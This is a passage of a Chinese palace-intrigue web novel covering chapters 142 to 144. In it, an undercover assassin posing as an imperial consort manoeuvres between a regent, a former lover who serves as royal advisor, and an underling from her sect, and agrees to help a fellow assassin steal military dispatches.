“顾某不多请些人来陪摄政王喝茶,摄政王架子这么大,顾某说话,您肯听么。”顾怀瑾好整以暇站定在李玄白身前,飞鱼卫指挥使适时搬来一张木椅,放在他身后,他悠然坐下: “顾某的话,摄政王方才听不下去。不知眼下,是否愿意听上一二。” 金戈侍卫毕竟人少,飞鱼卫一入了笑乐园,几乎站满了整间房。李玄白再锋锐,也不得不审时度势。 他咬着牙笑了半晌,手紧抓着椅子扶手,抓得手背青筋隆起:“有什么话,说。” “摄政王爱母之心,顾某并非不体谅。但皇上爱母之心,顾某也不得不动容。” 对面,李玄白翻个白眼,嗤笑一声。 “故而,此事其实有折中斡旋之法,何必大动干戈,伤了和气。” “折中之法。皇上都干嚎着给本王架到列祖列宗面前了,本王可未看出皇上给我留了什么折中之法。” “皇上思念母亲,除了放常太妃出静思轩,未必没有其他方法。”他道,“摄政王不妨允准皇上入静思轩探望。” “常太妃入静思轩,永世不得出,亦不准人求见,这是先帝的令!” “先帝。”顾怀瑾闻言笑了,“先帝亦曾说过,要兄友弟恭,彼此和睦,您听了么。” 满室飞鱼卫一齐跪下,房间内玄天紫色,骤然矮了一大截。 李玄白倒是笑了。 他这人,事情做了,也不怕人说,并不会恼。 “今日皇上失态恸哭,百官必定议论纷纷。您即便不肯放太妃出静思轩,但允皇上前去探望,也算给百官一个交待。” 李玄白想了片刻。 “好。不过今日,可得说清楚,是皇上不念先帝的令,逼本王破了祖制。”言毕,剜了嘉庆帝一眼。 嘉庆帝顿时灰白着脸望向顾怀瑾。 “可是,先生……” 嘉庆帝一开口,南琼霜就捂住了脸。 皇上要的是常太妃自静思轩中出来,而不是他得以进去探望。兜了这么大一圈子,嘉庆帝得不到他想要的东西,他怎么肯。 此般做法,确实安抚下了李玄白,但嘉庆帝必然不甘。 而顾怀瑾,说到底,是嘉庆帝的臣子。 “太妃是否能放,归根结底,是当年谢贵妃一案,真凶是否另有其人的问题。”顾怀瑾缓声道,“若有,太妃自然能放。若没有,想必常将军和贵妃娘娘,以及定亲王,也不会再拿此事烦扰摄政王了。” “正是,顾先生所言正是!”常忠赶忙叩头。 “至于贵妃娘娘,顾念皇上怜母之心,本也无过。若要入静思轩,实在是无妄之灾。”顾怀瑾端起茶盏啜了一口又放下,杯底与托盘相击,清脆的一声,“贵妃娘娘如花似玉,莫名在脸上挨了您一脚,您也该消消气了。” 李玄白垂眸,懒洋洋地想了半晌。 最后,觉得确无什么吃亏之处,置之一笑。 “如花似玉?” 他搓着下巴,意味深长地朝远处角落里的人,对上眼神。 南琼霜一瞬明白他在想什么,翻个白眼,懒得理会。 “那么,查案,谁来查。”李玄白坐回椅子里翘着脚,“本王事务繁多,懒得理会。你肯吗?” 顾怀瑾不说话。 这些破事,与一山二虎的时局无害亦无益,不过嘉庆帝个人失母之愁,他压根不爱管。 他毕竟不是当年天山上,任劳任怨为人负责、心甘情愿帮人兜底的顾怀瑾了。 嘉庆帝眼泪汪汪地眨着眼睛望他:“先生……” 顾怀瑾无可奈何,叹息一声:“愿为吾皇效劳。” 第142章 “我有件事想问你。” 时已盛夏。蝉鸣喧杂,热浪滚滚,树叶绿得近乎鲜艳。日光自彼此交叠的树影间筛落至雕窗内,摇落几圈圆圆的淡金光斑。 李玄白将奏折合起来放到一旁,日光婆娑地投在他膝间,他玩着耳坠,指节在案上叩了叩,抬眼望向对面的人。 南琼霜刚刚敛裙落座,垂着眼睫理裙摆。 “什么事?” 他饶有兴致又意味深长地撑腮看她: “你在无量山上,跟那个姓顾的,究竟如何?” 她眉头几不可见地皱了一瞬。 “你特意叫我来,就是为了问这个?” 李玄白不答,一双恣肆艳丽的狐狸眼,浑不在意地向上勾着,面上依旧嬉笑,可是那眼底,沉着些幽幽晦色。 他往嘴里塞了块雪花酥:“你跟他和好过吧。我都瞧出来了。” 南琼霜手 中动作骤然一顿,片刻后抬起眼朝他笑:“说什么呢。” “你定然是同他和好过。笑乐园那天,你二人坐在我对面,我瞧得清清楚楚。”李玄白灌了一口茶,一根手指一根手指掰着数,“同时笑,同时摇头,同时抬头,同时叹气。闲着无事的时候,食指会在桌上敲两下。坐久了,换个姿势,也是一齐换同一个姿势。” “虽然如此,两人彼此都不理会,貌合神离,仿佛从未认识过。” “事事默契,但形同陌路。”他摊开手笑,“这其中怎会没有文章。” 南琼霜听得心里一片凉。 他们两人,当日笑乐园的牌局上,甚至只说过一句话。 “说吧,在他的无量山上,都做过什么,到哪一步了。”李玄白笑得一派轻松,只一双眼不错眼珠地睨着她,“亲过?” 南琼霜面上一丝波动也无,缓缓地摇着团扇。 亲过? 何止。 她不合时宜地想起那些日子。 困在他双臂间、天花板被挡得看不见,他的闷喘一声声在耳畔响彻,她如随水浮萍般无措,抱他的背脊,仿佛抱着救命的浮木。 半点儿距离也没有的日子。 对面李玄白抱着膝盖,似笑非笑地盯她。 她骤然一个激灵。 她究竟在想什么? “没有。”她脸不红心不跳地搁下扇子,剥着瓜子,“他恨我恨得要命,把刀横在我脖子上要杀了我。是我说,宫妃死在山上,他无法交代,无量山必然要受牵累,他才罢休。不过,依旧咬着牙对我说,早晚有一日,要将我活剐,之后,再碎尸万段。” 她越说越觉得好玩,不由笑了起来,“恨成这个样子,怎么会和好。” 李玄白十指交叉成一座小塔,大拇指搓着下巴,沉沉思索,笑得似是而非。 南琼霜直望着他眼睛,不躲也不避。 “罢。”良久,李玄白长吸一口气,搔了搔头,“紫禁城内的贵人,他便是再恨,一时片刻间,也奈何不了。不过,自此以后,你需得小心些。” “德音小不小心,安不安全,”她一双眼睛弯成月牙,一半奉承,一半揶揄,团扇在案几边缘笃笃笃地磕,“全系于表兄一身哪。表兄管我,我就安全。不管我,我就只好死了呗。” 李玄白一阵忍俊不禁。 他这人,喜人奉承,但不喜阿谀拍马之辈。阴阳怪气地捧,在他耳朵里倒有趣。 “行了行了,求人的时候,好话就一箩筐了。”他咽了口茶,“当日笑乐园内……” 窗外远香忽然道:“娘娘。” 两人的话顿了。 南琼霜回头从枝叶摇曳的镂花窗棂内望出去:“什么事?” 远香自殿外疾步行入,脚步轻得如一阵风,附在她耳侧:“皇上召您去紫宸殿。” 紫宸殿内,丝丝阴凉。 因着嘉庆帝有疯症,宫人们更加不敢怠慢,最大最好的冰块一缸一缸地送入殿内,即便坐在窗下,也是凉意沁人。 南琼霜甫一进去,便见一道玄衣的颀长身影立于嘉庆帝龙榻前,嘉庆帝许是刚刚起身,那人负手对他说着话,醇雅嗓音在寝殿内飘摇回荡: “……皇上有此奇谋,自然是好。不过下回,至少还请知会顾某一声。当日若不是……” 她抬步跨过门槛,紫宸殿内静得惊人,她低低开口,也有些回音,“臣妾给皇上请安。” 那人闻言转过身来,一张不带多余情绪的脸孔,疏离淡漠,拒人千里。 她道:“见过顾先生。” 顾怀瑾颔首,又转回了头:“若不是此前您同顾某略提过几句,顾某为以防万一,早将人调来紫宸殿附近守着,当日之事,还当真不知如何做结。” “朕并无逼迫摄政王退位之意,不过是思母心切……”嘉庆帝喃喃辩解。 南琼霜自己坐在窗下,竖着耳朵听着。 “摄政王并非是用孝悌之义逼迫得了的性子,这并非臣空口夸谈。”顾怀瑾缓沉吐字,一面回身向她伸手一邀,广袖扫过地砖,“珍妃娘娘乃是摄政王的表妹。皇上若不信,大可问问珍妃娘娘。” 南琼霜忽然被点了名讳,不由抬起了头。 特意将她召来紫宸殿,是为了劝诫嘉庆帝? 若如此,是顾怀瑾叫嘉庆帝将她召了来? 她搁下了手里的青葡萄,一路行至顾怀瑾身侧与他并肩: “皇上,表兄的性子……确非孝义与大道逼迫得了的。四书五经上的东西,在表兄那,全是空谈。他那人性子最是桀骜难驯,难以拘束,凡事最恨人逼迫。越与他顶力相抗,他越不肯给甜头吃。若真想从他那求点什么,便绝不能逼迫他。” “正是。”顾怀瑾略微偏头颔首,“娘娘当真了解摄政王。” 南琼霜隐约从这话里品出一丝古怪味道,想了片刻,住了嘴。 “敢问娘娘是从何处而来。”顾怀瑾淡声问,“今晨皇上晏起,顾某未敢惊扰,本想求娘娘伺候皇上起身,未成想,派人去了娘娘宫中,说娘娘亦不在。” 南琼霜略微嘶了一口气,斟酌半晌,终于掂量着字句道:“是从大明宫中来。表兄有事唤德音一叙。” “正是。自从娘娘与摄政王认下了表兄妹情谊,情义日笃,阖宫皆知。”顾怀瑾抖了抖宽大袖摆,刺金的忍冬纹丝光流淌,“大早上的便在一处叙话,娘娘有如此好的一位表兄,顾某当真羡慕。” 南琼霜眨着双睫,无话可应。 “皇上,”他转回去,苦口婆心对嘉庆帝道,“摄政王念着他那位谢氏的母亲,对他这位年少多舛的表妹,亦是处处爱护。您身边有珍妃娘娘,又何必携着常将军和晟贵妃一道,对摄政王咄咄相逼。说不准,娘娘一句话,您所求之物,摄政王便允了。” 南琼霜倏地抬起眼来瞄着他。 这人依旧八风不动,一派从容自在。 “顾先生莫要抬举臣妾了。”她强笑着,“表兄那种纵肆性子,谁敢说当真拿得住他。” “娘娘啊。”他含笑应。 她心脏嗵嗵直跳,没接话。 “皇上方才说,笑乐园内惹了摄政王不快,心中不安,望顾某这几日入宫,时时陪同。”他礼貌垂首,“实则,珍妃娘娘在此,当日龃龉,怕是摄政王早已忘了。皇上实在不必如此多虑。” “顾先生。”她听不下去了。 “便是摄政王当真不肯轻放,您亦不必惊慌,唤娘娘再去大明宫中一叙便是。”顾怀瑾笑得平稳,“形势危如累卵,顾某依照宫规,无法时时在宫中陪伴圣人。依顾某之见,不妨叫娘娘与大明宫多多走动。白日走动,夜里也走动,以备不时之需。” “顾先生。”她受不了,又追了一句。 “先生言之有理。”那一头,嘉庆帝眼圈下两团乌青,显然是自那一日后未曾睡好,“不过,即便是亲兄妹,亦有男女大防,何况表兄妹。你的意思,朕明白了,朕会想想。”一面对她道:“德音。” 她恭恭敬敬侍立听命。 “笑乐园内这一场,听说妍儿吓得病了。她在宫中寂寞,你得空时,去看看她啊。” 她心中厌烦,耐着性子笑道,“是。” “还有,先生。”嘉庆帝抬手对顾怀瑾道,“琳妍病了。琳妍是我母妃的义妹,金枝玉叶,交予旁人,朕不放心。”他一字一字道:“琳妍的身子,就交给先生了啊。” 南琼霜绞着帕子的手顿了一瞬,抬眼望向那容颜如玉的人。 他未厌也未恼,只平稳如常地道了声:“是。” * 菡萏宫内。 远香再递了一张字条过来。展开,又是那一手端正的楷书: “明日府上一叙。” 她骤然想起白日里,他平和如常地应下景仁宫的差事,仿佛日日见毛琳妍也无所谓,替毛琳妍诊脉亦无妨,每日每日关心她的身子也不会嫌烦,似乎——他根本就不讨厌毛琳妍这个人。 或许是吧,他倒是没有讨厌毛琳妍的原因。 但是她,不喜她。毛琳妍曾将她用来针灸的银针换成毒针。 虽然毒针一事,发生时,顾怀瑾在他的无量山上,他或许并不知情。 但是,她仍旧心头不快。 她一向自诩豁达有气度,并非那心胸狭隘之徒,但是事关……事关他,有些时候,她明知不该计较,还是计较。 夜已深了,烛花毕剥。 她将那纸条合上,连看都未再看一眼,搁在烛火上,洇着了。 见面?不见。 反正,什么都没干,就叫李玄白瞧出了异样,他们本也不该再纠缠了。一点也不该。 她在妆镜前恹恹坐着,长睫在昏沉灯火下梳出几根纤细的影,落在她眼眸里。她乌黑缎发披了一身,百无聊赖地任远香和清涟替她梳头。 阴影里,一只脚倏地踏入庸黄的烛火中,牵出一道漆黑的影,口中喷薄着热气,仿佛一条狂戾的恶犬: “南琼霜。” 南琼霜懒洋洋一寸寸抬眼。 见了来人,顿时一哂: “唷,回来了?” “雾刀。” 第143章 来人缓缓自墙角的暗影中现出整个身形。 依旧是高大如山的一个人,然而却瘦多了,颧骨直愣愣 自皮肤底下支出一个角,衣裳亦破败不堪,原先合身的衣裳,现如今已是兜在了身上,空荡荡的。 她见了他那副惨样,不免一愣,笑了出来。 “哎唷,这是怎么了?几日不见,死狗似的。”忽地一愣,他右边袖子空管子一般往下垂着,她挑着眉毛品了一瞬,愈发笑了起来,“你的右手……怎么回事?” “我他娘倒想问你呢,南琼霜。”他走近来,左手二话未说先锤在她妆台上,敲得整张台微微震颤。 清涟、远香不管外务,亦不曾杀过人,一时惊惧瑟缩。 她手一挥叫两人下去,一面玩着头发笑问: “你自己落到人家手里,还好意思回头怪我。到底怎么回事?我只知当日叫你同门内联络,你说上面应了,给我换个人杀。结果,未等我跳船,船被贼人劫了,我们一行人被姓顾的救下,直接去了山上。至于你……自从上了无量山,可就没有一点消息了。” 她嘶了口气,深深笑着:“怎么。到了无量山上,被他发现,落到他手里了?” “你他娘的少放屁!我怎可能被他发现!”雾刀一口牙磨得嚓嚓的,“分明是你在山上叛了咱们,什么都告诉了他,不然,我怎会有今天!” “你究竟在放什么屁。”她嫌厌笑了,“他压根没认出我,我毫发无伤地下了无量山。你落到他手里,倒是带了一身伤回来。若有人叛,到底是谁?” “他怎会未认出你?!” “你是怀疑咱们往生门的本事?”她睨他一眼,懒懒梳着头: “姓名不同,性子不同,我身后甚至还有清河谢氏。层层筛选入了宫的秀女,又得圣上宠爱,这两天,摄政王也一口一个表妹的叫着。谢德音的身份,与楚皎皎是八竿子打不着。长得再像,他也不敢说,珍妃娘娘,与当年天山脚下的一个船娘,是同一人。” “即便如此,他当年爱你爱得整个人跟有病似的,你在他眼前,他又如何能不察觉。”他嘿嘿笑着,“少诓我了,我聪明着呢。” 南琼霜顿时忍俊不禁,丝毫不给面子地笑了两声,“他若认出了我,我怎会好端端地坐在这里。” 雾刀无话可说了。 “他不知道我是谁,眼下还一声一声娘娘的叫着呢,若还不信,你去问清涟和远香。”她慢腾腾搁下了梳子,转过身来,两腿叠在一处笑望他,“至于你呢,落到他手里了?” 眸光缓缓停在他那空荡荡的袖管上,勾唇:“并且,丢了一只手?” 雾刀面上神情变幻非常,仿佛一阵疾风刮过,天上云翳奔涌,地上晦明交替。 良久,他嗵一声软着双膝跪在她面前,余下的那只手上去扒她的膝盖。 “姑奶奶,姑奶奶您行行好,您给我留一条命吧,啊。我雾刀怎么也算陪了你这么多年。”他眼角蓄起点……眼泪?咧着嘴道,“您就给我留一条命,别跟上面说,我雾刀好好伺候你,成不成啊。” 南琼霜骤然见他矮了一大截,方才还需仰着头看他,忽然这人就低到了她肩膀——他这人高的,即便跪下,还到她肩膀——吓得往后让了让。 雾刀从未想过有今天。 两天前,他眼睛一睁,忽然惊觉自己脑子空空,除了隐约记得点她的新差事在紫禁城之内,旁的都不记得了。 眼睛再一扫,自己浑身的伤,身上剧痛,右边胳膊断了一截。 面前人,是他当年在天山上的老相识。 除了姓顾的,他身边什么人都不剩了,没有她,连她那两个侍女也没有。 他知道自己是受了审。但他不知,姓顾的都问过什么,他答过什么。 往生门的规矩,他最清楚。跟丢了是一条,暴露行踪是一条,落到人家手里又是一条,受审再是一条,再加一条——他或许已经吐了口儿。 光这最后一条,就已经够他受门内三十三道酷刑。 “姑奶奶,姑奶奶,我雾刀求您了,真是求您了。”他小眼睛里泪光婆娑,跪行着爬过去抱住她两腿,给南琼霜吓得连连闪避: “我这么多年,对您是忠心耿耿啊。您叫我跟门内商量什么,我都帮您商量,我带了您这么多年……您若要换个新人,还得从头教他,哪有我这奴才使唤得省劲儿啊。” “你不想我跟门内禀报?”她拧着眉头玩着梳子,“这可是包庇。你犯了错,我如何能瞒着上头,向着你。这么大的疏漏,我便是想帮你,也不敢哪。”她叹了口气,“我明日会如实禀报。” “姑奶奶,姑奶奶,您可千万别!”雾刀脸上的汗跟他那点眼泪俱是亮闪闪的,“您仔细想想,有没有什么用得着咱们的地方,我雾刀上刀山下火海,也给您办!” “我最近没什么想要的。”她转着梳子,“不若这样吧。形势太紧张,我也怕姓顾的认出我,你去时时刻刻盯着顾……”故意将话截一半,去瞧他脸色。 他果然满面死样。 她装着嫌他无能“啧”了一声,偏过头。 雾刀果然愈发跪了两步,上前抱住她的脚:“姑奶奶,别人都行,真的,别人都行。除了那个瘆人的男的!” 她揉着眉心,“那你去盯着常达。把他府上,何人往来,有何事发生,常达见了什么人,两个儿子关系如何,一并探查好了,日日向我禀报。”说着,补了一句,“一山二虎,局势太险,我身在其中,却没有定王府上的线人,总觉得不稳妥。” “是是是。”他连着应,如蒙大赦地龇着大牙笑了半晌。 “行了,没别的事,你下去吧。”她皱着眉头抽出腿来,“给你抱了,我得去洗洗。” “慢着。”他忽然抬起头来,一排尖细的犬牙参差,“我整日在定王府,谁盯着您啊?姑奶奶不愿意我盯着您了?” 她揪着他头发,劈手上去,掣了他两记大耳光。 “我包庇你,已是大错,真不知我方才怎会心软!” “慢着慢着,您您您,您听我,您听小的说完。”雾刀连个屁也不敢有,“姑奶奶要小的去盯着定王,自然可以。只是姑奶奶这边……” “我当然会杀了那疯子。一个疯子,我何必心软。”她道,“至于顾怀瑾,我当年就不曾手软。从前他全心全意爱我,我都不曾收手,如今,又怎么会收手。” “您说的是。”雾刀道,“一点好心,提醒您,洛京里头,同僚多着呢。七杀前堂主正在大明宫前,清涟远香二位,在您身侧。您离赎身只差一步,别给自己找麻烦。” 她登时扬起手来,又要再扇。 “行了姑奶奶,小的领命。只要您好好地把咱们的差事办了,我不在您跟前烦您。您要的 消息,我日日给您送回来。就一条,”他剩下那只手挠着脸,嘿嘿直笑,“您别跟上头说啊。” 雾刀走了,隐没入黑暗之中。 谁知,翌日深夜,她刚打发走的人就又回了她的菡萏宫。 她正坐在妆镜前梳发,雾刀不知自哪冒了出来,毕恭毕敬地虔诚跪下: “姑奶奶,上头有了新的吩咐。” 她挥手将清涟远香两人打发下去:“说。” “据说,公孙红那边出了点麻烦,搬救兵呢。”雾刀腆着脸笑,“您离她最近,本事也大,门内说,要让您协助她。” “帮不了。”她闭目养神。 “这回呀,上头说,您若是能帮那公孙红一把,门内就算您当年天山赊下的那半个任务,也圆满了。” 她闻言慢悠悠睁开眼。 倘若能把当年欠下的账补上,倒还值得她想一想。 只是,身为宫妃,她出宫已是冒险。从李玄白要来那块出宫令牌,原是为了去寻从前赎身的同僚,打听打听他们近况如何。若只是为了半个任务…… 她捏起妆台上的小铃铛,在指间玩着:“今天你去定王府,都打听着什么了,先同我说说。” “今日首先将府上各色人等大致摸了一遍。”雾刀剩下那只手搔着头,“从婢子到马夫再到贵人,都跟了片刻。” “所以呢,有无有趣之人。” “定王脾性暴躁,一言不合便撒开膀子骂人。不论是他的幕僚、副将还是儿子,都整日挨他打骂,十分惧他。” “他那两个儿子,面上和气,实则不怎么对付。常达偏心次子常平,常平生得英俊些,人看着更机灵。长子常忠就蠢且色,一屋里好几个美眷,晚上屋里头那声儿啊,可有意思了。” 说着,他剩下那只手捂着嘴吃吃地笑。 南琼霜瞥他一眼,“姓顾的怎么就知道砍你胳膊,没在你裤裆里跟一刀?” 雾刀不敢顶嘴,搔着头赔笑: “公孙红在府上处境不太妙。她在常达常忠二人中周旋,两边勾搭,结果常忠那厮欲蹬鼻子上脸,皇上前些日子又给常达拨了几个美女,她几乎混不到常达眼巴前儿了。不仅如此,还叫常平瞧出了些端倪,眼下焦头烂额,她那教引亦发愁啊。我俩本想得空喝一杯……” “行行行,说公孙红。” “小的去找她教引打听了。说公孙红除了刺杀常达以外,还要窃走常达的军务密函。前些日子,常达唤几人进屋弹琵琶,她借弹琵琶之机拿了密函,不想漏出了点马脚,叫府上一个瞽叟听见了动静。那瞽叟年轻时一手琵琶冠绝洛京,听了便对常平说,贼人必是京中最擅琵琶之人。眼下公孙红正火急火燎,找人顶罪呢。” “我又不精于琵琶,便是找我,也没用啊。”她阖眼揉着太阳穴道,“别说了,说点别的。可还有什么新鲜事?” 雾刀想了半晌,又道,“噢,还有。定王府上有个咱从前的同僚,原是七杀堂中人,几年前做够了数赎了身,在定王府上当厨子呢。” 她徐徐睁开眼。 雾刀如数家珍地对她献忠:“不过,此人好相与。若是姑奶奶想应下定王府的差事,也可去同他说说,借一把力。” 她缓慢转着眼珠,指间勾着那串圆滚滚的铜铃,来回晃着把玩。 良久,她道,“好吧。去回门内,说这半个任务,我接下了。” “还有,姑奶奶,公孙红要我给您带个话儿。” 她缓抬起眼帘,漫不经心地听。 “她说,协助,可以。若是要抢了她的功……”雾刀深深低头,“别怪她擎着她那把九宝琵琶,飞针连发,劈头盖脸地,敲碎您的银牙。” * 翌日,清涟远香照旧为她梳妆。 远香伶俐,细细通着她的长发,一面道,“娘娘,昨日本应去顾先生府上一叙,您却整日歇在宫中,当真无事么。” 她想起这回事,有些头痛地长出了一口气。 昨日,该去见也未去见,今天,他非进紫禁城抓她不可。 她指尖挑起妆台上的两串铃铛,对她们二人道:“我一会,要再去趟大明宫。你们二人不必跟着,便在我这菡萏宫候着我吧,我去问摄政王讨要个琵琶师傅,很快便回。” “可是,娘娘……” “无事。若是顾先生来,以他的性子,不论如何,不会在宫中为难你们的。他若问,便扯个谎,说我去景仁宫中,探望贵妃娘娘。” 她含着笑,望着远香不安神色,和颜悦色将那两串小铜铃铛分别递到两人面前,“这两串铃铛,是赏给你们的,戴在发上好看,来。” 浑圆的小铃铛串着红绳,泠泠响着,搁进了二人掌中,线绳盘曲起来。 两人满腹狐疑,面面相觑,彼此望了又望,欲言又止。 于是,等到顾怀瑾气势汹汹地自紫禁城外杀进来,连设巧计瞒着菡萏宫所有人猝不及防地杀入菡萏宫,见到的,只是两个发上缀着小铜铃铛的侍女。 大明宫内,李玄白正在前朝议政,殿内唯有南琼霜一人。 大太监吴顺打听到她最近爱用些梅子冰酥酪,叫小厨房速做了一碗,端在她面前。 她捧着那瓷碗,眯眼望着窗外晴好暑色,心满意足地搅着汤匙。 逮逮逮,整日里猫逮耗子似的逮她。 都已经叫他捉着过一回了,还能再叫他捉着第二回吗? 想也别想。 天底下光他一个顾怀瑾有心眼? 她南琼霜不愿见,谁也别想逼她见。 瓷勺搁在碗边,“叮”一声。 她抬起长睫,翻个白眼。 叫他大老远的,赶去景仁宫内,给毛琳妍诊脉吧。 她也没想到的是。 远香和清涟见了顾怀瑾,从未想过一向得体自若的顾先生,脸上竟会有如此神态,一时将她的话全忘在九霄之外,瑟瑟发抖地跪在地上,道娘娘去了大明宫。 第144章 六月份的天总是多变。方才还艳阳高照,转眼便灰云密布,天边一片铅紫色,黑压压地挤在黄澄澄的琉璃瓦上。 眼看着西边的乌云撵上了红墙,吴顺提了一把姜黄的油纸伞,跟出大明宫来送她。 她对摄政王说,近来喜爱琵琶,听闻定王府上的曲欢姑娘一手琵琶精妙绝伦,想请她入宫教习一二。 曲欢,便是公孙红。 李玄白并没多问,或许是也知不该多问,抓着茶杯咽了口茶,允了。 允了,便将她赶了出来。他才下了朝,一众官员候着觐见,没有容她说闲话的空。 才出了大明宫的庭院,天上便砸下簌急的雨来,噼啪打在伞上。吴顺替她撑着伞,伺候她一路绕过御花园被雨浇得湿透的假山,尖细的嗓子问:“娘娘,咱们去哪啊?” 她缓着步子避过阶上的小水坑,想了片刻。 回菡萏宫,不知什么时候便会被顾怀瑾逮到。 去紫宸殿,嘉庆帝前些日子在笑乐园内吓得有些痴傻,她若去了,劳心劳力,低声下气地伺候个没完,说不准,还得耐着性子听他恸哭。 她确实非要他的宠爱不可,可是,当他哭哭啼啼唉声叹气地抱怨个没完时,她也不愿往他跟前凑。 想到这,她忽然道,“听说贵妃娘娘那一日之后吓得病了?如今怎样?” 吴顺额鼻上有一道蜈蚣般的疤,开口声音却一股奴才味,谄媚笑道: “回娘娘,贵妃……吓破了胆啦。听说这几天,在景仁宫里边儿蓬头垢面,听了咱们摄政王的名字就嚎,白天也嚎,夜里也嚎。前些天,皇上进景仁宫探望了一回,叫娘娘的疯样给吓出来了。这回,恐怕又要失宠咯。” “那摄政王如何。还气吗?” “摄政王的脾气,您不是不知道。笑乐园内这一出,贵妃娘娘的安生日子,是再也没有啦。” 她听着,微微一哂。 吴顺跟着道:“这些天,就靠顾先 生日日问诊开药,给她吊着精神呢。” 她步子一滞:“顾先生每日都去?” 吴顺低着眼赔笑:“不每天都去,也不行啊。娘娘快吓疯了,离不开人。阖宫谁敢跟咱们摄政王对着干哪?跟摄政王对着干,就是这个下场!” 离不开人。 她将这几个字又在心上嚼了一遍。 莫非不止每日一回问诊,还日日去景仁宫中陪她? 她深吸一刻,没说话。 曲径一拐,前头景致变了,是一个人。滂沱大雨,竟未撑伞,一人茕茕在雨中孤行,远远看去,白色的雨帘将他浑身玄黑都浇成了灰色,袖摆湿漉漉黏在手臂上,从头到脚一派淋漓。 衣裳深黑,脸色雪白,整个人色彩相衬得太极端,仿佛一盘肃杀的棋。 她的步子登时顿住,往后又退了半寸。 他怎么在这。 怎么不撑伞? 两人隔着重重雨帘,一时都未彼此问安。一旁树叶被雨水打得哗啦作响,簌簌摇动,顾怀瑾站在雨里,缚着双眼,静静面朝着她。 许久,两人仍是不问安。 吴顺不知这阵诡异的沉默究竟是何深意,心下惶恐忐忑,觑着她的脸色,小心翼翼道:“顾先生,您别在雨里头走啊。您上伞底下来。诶哟,您瞧瞧,今儿怎么就只带了一把伞!” 南琼霜眼睫惊乱地扑扇两息,避开眼睛。 雨声中,面前人缓步慢行过来。 “娘娘这是要去哪。” 未等她答,一只清贵修长的手,滴答着剔透水珠,伸进伞底,接过了伞柄。 南琼霜不安地瞥见伞沿抬高了一些。 “若顺路,不知可否与顾某共用一把伞。” 不打算由她,还偏要问。 吴顺小心窥着两人冷冷神色,识趣地自伞底下退开,在两人身后亦步亦趋淋雨随着。 南琼霜冷着嗓音道:“本宫去紫宸殿。” “顾某一同。” “不必,叫吴顺再给先生取把伞吧,先生这哪是去紫宸殿的路。”她往一旁避了些许,肩头蹭了些雨丝,“先生要去景仁宫,本宫不好误了先生的事。” 他不知道她为何阴阳怪气。 昨日,他以为想问的事终于能问,许久没见的人总算能见,惴惴又期待地等了她一天。 她未来,他难以合眼,又怕她深夜突然来了,整整熬了一夜。 眼下,两眼生痛,昏昏沉沉。 若要阴阳怪气,他认为,也该是他。 “景仁宫的事,娘娘不必担心了。敢问娘娘,还记得允诺过顾某些什么吗。” 她直视着眼前的路,假装没听见。 “从前,娘娘答应过选我,不放弃我,答应过回宫之后一切如常,答应过不与他见面,不与他私会。答应过到我府中见面。”他语气淡得仿佛闲话,“这些话,娘娘有一句当真么。” 她只是不答。 “明明失约在先,还要顾某巴巴地过来找。来找了,还算计着法子躲我。”他口吻平静,“娘娘是想怎样。” 她的肩与他的胳膊撞了一瞬,她顿时更往一旁靠了些许。 “想一刀两断。” 雨声淅沥,他许久未开口,握着伞柄的手攥紧了,伞柄硌着骨头。 她,未免太不讲情理了。这许多年,他何曾对不起她,他们之间,究竟是谁对不起谁。 “娘娘是以为,顾某从前是好脾性,这般几次三番地待我,顾某也不会不满么。” 她未答,迈着步子。 不说话,他更觉得她心不在焉。 “一刀两断,可以。”他自己也没想到他有朝一日可以平稳地说出这种话,“不过娘娘知道,我约娘娘府中相见,是想要问什么吗。” 还用猜吗。 她如今不想再演了。她从前那些底细,他若要问,她会一五一十地全告诉他。 只是,即便她肯坦率,依旧会为那些事难堪。 她不想听见她那些不可告人的事,从他的口里说出来,特别是他。 顾怀瑾不知道她是逃避,只是恨她的善变和薄情。 “娘娘若连问都不肯让顾某问一句,说来说去只有一句一刀两断,那顾某也不会说什么。”他不去看她,她步摇底下的珠串不时打在他手臂上,他从未想过她的东西也会叫他这么烦,“原本,隔着天山,我也不该再同娘娘纠缠了。” 她吸了一口气,笑,“你说得对。” 顾怀瑾不说话。 她笑吟吟地又逼了一句:“我也不知顾先生究竟在纠缠什么。” 顾怀瑾轻轻地喘气,玉白的手指被伞柄硌红了。 她置身事外,作壁上观。仿佛他是一个叫人骗了卖了杀了,还不知醒悟,涎着脸追在人后的蠢货。 良久,他只有简短的一句:“娘娘想好了要断吗。” 她绕着帕子,不自觉屏了呼吸。 她不知道自己心里究竟是怎样想。可是她的头脑早已得出了不容置疑的正解,而她的话,已经泼出去了。 “娘娘真心想断,顾某也不会再纠缠。”他给自己挽回一点面子,说了句自己也不知真假的谎,“娘娘若在四象塔上便说明白,顾某也早就放了。” 他垂下眼瞧她,明知不该在乎,再期待便是丢脸,还是期待她的表情。 她面无表情。 多么薄情的一个人,他心里一阵后知后觉的了悟和绝望。他们不是同路人,他们相差太远,他再多爱也打动不了她也留不住她,继续下去,他只是个笑柄。 “娘娘去紫宸殿吧,替我给皇上带个好。”他将伞尽数倾在她头顶,自己一个人撤身站进雨里,“顾某刚从紫宸殿回来,不回去叨扰了。” 她惶然抬起眼,他一走,仿佛她身旁漏了一个漩涡般的洞,不仅空着,还要把旁边的一切卷入吸干。 顾怀瑾默然无言地走了。 她站在伞下,满目泫然。 “娘娘,顾先生怎么走了啊?”吴顺弓着身子替她擎伞,狼狈得鼻子底下都是雨水。 她冷冷道:“不顺路,你别管他。” “这么大的雨,连把伞都不撑,回去人不得浇坏了啊?” “他自己爱浇。”她眼圈红了,但昂着下巴,“他有病。” * 紫禁城之内,李玄白的令最快。 她上午刚刚去同李玄白讨要了公孙红,到得申时初,公孙红就已入了宫。 公孙红模样变了。从前在往生门内,她是出了名的鲜艳醒目,何止是奇装异服,她喜欢的,是隔着八百里地,都能叫人一眼瞧见她公孙红。 今日入宫,倒是一副规规矩矩的乐伎打扮,连总留在额际鬓间的几缕碎发都梳进了发髻里,端正谨肃。 “奴婢曲欢,拜见珍妃娘娘。” 南琼霜倚在菡萏宫的香木贵妃榻上,懒洋洋往下瞥了眼,见公孙红一脸谨小慎微,觉得煞是有趣,挥手屏退了旁人。 “起来吧。清涟,远香,奉茶。” “拿点桂花糕。”公孙红叫住远香。 南琼霜撑着腮嗤笑一声:“把我这当你的地方了。” 公孙红自是不答,两三步上来挤到贵妃榻边缘,自己坐下了。 “要你学琵琶,没多少时日,好好学啊。”她吹着茶沫道,“还有,把你这张脸遮上。府上女人本来就多,我快烦死了。” 